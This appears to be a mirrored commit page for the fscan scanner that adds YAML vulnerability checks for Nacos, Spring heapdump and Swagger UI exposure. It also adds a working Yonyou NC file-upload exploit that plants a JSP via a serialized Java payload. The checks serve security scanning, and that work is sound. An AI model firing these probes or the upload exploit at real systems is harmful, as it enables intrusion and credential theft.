qwqdanchun
/
fscan
mirror of https://github.com/qwqdanchun/fscan.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

增加指纹识别功能,可识别尝试CMS、框架,如致远OA、通达OA等

This commit is contained in:
shadow1ng 2021-02-08 15:13:56 +08:00
parent f25eedff67
commit 14c9847f88
13 changed files with 158 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
WebScan/pocs/alibaba-nacos-api-unauth.yml Normal file
View File

@ -0,0 +1,15 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424

13
WebScan/pocs/alibaba-nacos.yml Normal file
View File

@ -0,0 +1,13 @@
name: poc-yaml-alibaba-nacos
rules:
- method: GET
path: /nacos/
follow_redirects: true
expression: |
response.body.bcontains(bytes("<title>Nacos</title>"))
detail:
author: AgeloVito
info: alibaba-nacos
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424

12
WebScan/pocs/spring-actuator-heapdump-file.yml Normal file
View File

@ -0,0 +1,12 @@
name: poc-yaml-spring-actuator-heapdump-file
rules:
- method: HEAD
path: /actuator/heapdump
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("application/octet-stream")
detail:
author: AgeloVito
info: spring-actuator-heapdump-file
links:
- https://www.cnblogs.com/wyb628/p/8567610.html

12
WebScan/pocs/spring-heapdump-file.yml Normal file
View File

@ -0,0 +1,12 @@
name: poc-yaml-spring-heapdump-file
rules:
- method: HEAD
path: /heapdump
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("application/octet-stream")
detail:
author: AgeloVito
info: spring-heapdump-file
links:
- https://www.cnblogs.com/wyb628/p/8567610.html

10
WebScan/pocs/swagger-ui-unauth-No1.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No2.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /api/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No3.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /service/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No4.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /web/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No5.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No6.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /actuator/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No7.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /libs/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

10
WebScan/pocs/swagger-ui-unauth-No8.yml Normal file
View File

@ -0,0 +1,10 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /template/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210

26
WebScan/pocs/yonyou-nc6.5-arbitrary-file-upload.yml Normal file
View File

@ -0,0 +1,26 @@
name: poc-yaml-yonyou-nc-arbitrary-file-upload
set:
r1: randomInt(10000, 20000)
r2: randomInt(1000000000, 2000000000)
r3: b"\xac\xed\x00\x05sr\x00\x11java.util.HashMap\x05\a\xda\xc1\xc3\x16`\xd1\x03\x00\x02F\x00\nloadFactorI\x00\tthresholdxp?@\x00\x00\x00\x00\x00\fw\b\x00\x00\x00\x10\x00\x00\x00\x02t\x00\tFILE_NAMEt\x00\t"
r4: b".jspt\x00\x10TARGET_FILE_PATHt\x00\x10./webapps/nc_webx"
rules:
- method: POST
path: /servlet/FileReceiveServlet
headers:
Content-Type: multipart/form-data;
body: >-
{{r3}}{{r1}}{{r4}}<%out.print("{{r2}}");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
expression: |
response.status == 200
- method: GET
path: '/{{r1}}.jsp'
headers:
Content-Type: application/x-www-form-urlencoded
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r2)))
detail:
author: pa55w0rd(www.pa55w0rd.online/)
Affected Version: "YONYOU NC > 6.5"
links:
- https://blog.csdn.net/weixin_44578334/article/details/110917053